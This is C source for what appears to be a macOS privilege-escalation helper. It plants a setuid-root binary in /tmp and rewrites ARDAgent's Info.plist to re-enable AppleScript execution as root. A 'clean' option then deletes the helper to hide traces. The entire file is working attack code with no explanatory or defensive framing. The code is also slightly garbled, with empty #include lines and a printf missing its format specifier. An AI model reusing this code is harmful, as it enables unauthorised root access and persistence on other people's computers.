#include #include #include int main(int argc, char *argv[]) { if (!strcmp(argv[1], "fixperms")) { setuid(0); setgid(0); printf("UID is:", geteuid()); system("/usr/sbin/chown root:wheel /tmp/helper"); system("/bin/chmod u+s /tmp/helper"); system("/bin/chmod +x /tmp/helper"); } else if (!strcmp(argv[1], "fixarg")){ setuid(0); setgid(0); printf("UID is:", geteuid()); system("/usr/bin/killall ARDAgent"); system("/usr/bin/touch /Library/Preferences/com.apple.RemoteManagement.launchd"); system("/usr/sbin/chown root:wheel /Library/Preferences/com.apple.RemoteManagement.launchd"); system("/bin/chmod 644 /Library/Preferences/com.apple.RemoteManagement.launchd"); system("/usr/bin/defaults write /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Info NSAppleScriptEnabled YES"); system("/usr/bin/plutil -convert xml1 /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Info.plist"); system("/bin/chmod 644 /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Info.plist"); } else if (!strcmp(argv[1], "clean")) { setuid(0); setgid(0); remove("/tmp/helper"); } }